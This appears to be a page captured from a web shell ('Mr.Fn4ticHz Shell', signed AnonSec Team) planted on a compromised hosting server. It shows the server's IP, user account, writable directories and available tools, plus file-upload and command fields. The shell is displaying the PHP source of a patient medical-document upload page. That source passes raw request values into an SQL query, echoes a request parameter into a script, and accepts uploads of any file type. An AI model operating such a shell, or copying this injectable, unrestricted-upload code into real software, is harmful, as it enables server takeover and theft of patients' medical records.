Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.118.152.58
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//upload_document.php
<?php session_start();
require_once("../DBManager.php");
require_once("../LoginManager.php");
require_once('../dbconnection.php');
include 'header.php';
include 'patient_menu.php';
$target_dir = "uploads/";
$filename = basename($_FILES["fileToUpload"]["name"]);
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST['submit']))
{
		$sql ="INSERT INTO patient_document(patientid,dateofissue,issueby,typedocument,ifother,Specify,fileToUpload) values('$_GET[patientid]','$_POST[dateofissue]','$_POST[issueby]','$_POST[typedocument]','$_POST[ifother]','$_POST[Specify]','$filename')";
			if($qsql = mysqli_query($con,$sql))
		{
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
   // echo "<script>alert('Immunization record inserted successfully...');</script>";
   echo "<script>window.location='patient_document.php?patientid=$_GET[patientid]'</script>;";
  } 
		}
		
  else {
    echo "Sorry, there was an error uploading your file.";
  }
  
}
?>
<!DOCTYPE html>
<html>
    <head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<title> Laboratory access</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="new2.css">
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
<script>
function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}</script>
</head>
<body>
<div class="content-wrapper">
        <section class="content-header">
             <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>

<form name='submit' method="post" id="myForm" enctype="multipart/form-data">
 <label>Date of issue</label>
  <input type="date" name="dateofissue" id="dateofissue">
   <label>Issue By</label>
  <input type="text" name="issueby" id="issueby">
  <label>Type of Document</label>
  <select name="typedocument" id="typedocument">
<option value="" disabled selected>Type of Document </option>
<option value="OPD"> OPD</option>
 <option value="IPD">IPD</option>
<option value="Investigation"> Investigation</option> 
<option value="Medical Bill"> Medical Bill </option>
<option value="Discharge Summary"> Discharge Summary</option>
</select> 
  <div class="checkbox">
      <input type="checkbox" id="myCheck2" onclick="myFunction2()" name="ifother"><span>If Other</span>
      
  </div>
  <p id="text2" style="display:none">
       <label>Specify</label>
  <input type="text" name="Specify" id="Specify">
  </p>
   <label>Upload Document</label>
  <input type="file" name="fileToUpload" id="fileToUpload">
  <button type="submit" value="" id="btn" name="submit" class='btn btn-info'>Upload Document</button>
</form>

</body>
</html>
<script>
document.getElementById('btn').addEventListener("click", function(){
    this.classList.add("loading");
    this.innerHTML = "Loading...";
});
</script>

Anon7 - 2022
AnonSec Team